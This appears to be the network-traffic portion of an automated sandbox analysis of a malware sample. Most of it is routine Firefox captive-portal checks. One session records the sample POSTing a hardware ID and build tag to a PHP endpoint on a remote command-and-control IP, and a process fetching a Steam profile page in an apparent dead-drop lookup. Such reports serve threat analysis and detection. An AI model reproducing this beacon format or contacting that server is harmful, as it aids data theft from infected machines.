Oct 22, 2024 19:26:27.758734941 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82282 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:28.334820986 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:28.461390018 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82283 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:30.472779036 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:30.598470926 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82285 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:40.606031895 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 22, 2024 19:26:41.518454075 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:41.644196033 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82296 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:51.670819998 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 22, 2024 19:26:53.408941984 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:53.534837961 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82308 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:26:54.035621881 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:26:54.162045002 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82309 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 22, 2024 19:27:02.187668085 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 22, 2024 19:27:02.313493013 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 21 Oct 2024 18:35:05 GMT Age: 82317 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.8	50117	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:23.963349104 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:24.559604883 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64460 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:24.605268955 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:24.730525017 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64460 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:24.743557930 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:24.869064093 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64460 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:25.317158937 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:25.455565929 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64461 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:25.961452007 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:26.289140940 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64462 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:26.323766947 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64462 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:26.601531982 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:26.885006905 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64462 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:27.500752926 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:27.626282930 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64463 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:28.135539055 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:28.261190891 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64464 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:30.328423023 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:30.454164028 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64466 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:40.525509119 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 22, 2024 19:26:41.372288942 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:41.500247955 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64477 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:51.529788017 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 22, 2024 19:26:53.268498898 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:53.394901037 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64489 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:26:53.899687052 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:26:54.029871941 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64489 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 22, 2024 19:27:02.059842110 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 22, 2024 19:27:02.184864998 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 21 Oct 2024 23:32:04 GMT Age: 64498 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.8	50129	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:26:26.295164108 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:26:27.219757080 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:26:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:26:27.264256954 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHCGHJDBFIIDGDHIJD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 2d 2d 0d 0a Data Ascii: ------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="build"doma------ECFHCGHJDBFIIDGDHIJD--
Oct 22, 2024 19:26:27.488872051 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:26:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:26:27.775852919 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:26:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	104.102.49.254	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:21 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-22 17:24:21 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 22 Oct 2024 17:24:21 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=714dc7c6234ae889472677a0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; SameSite=None
2024-10-22 17:24:21 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-22 17:24:21 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
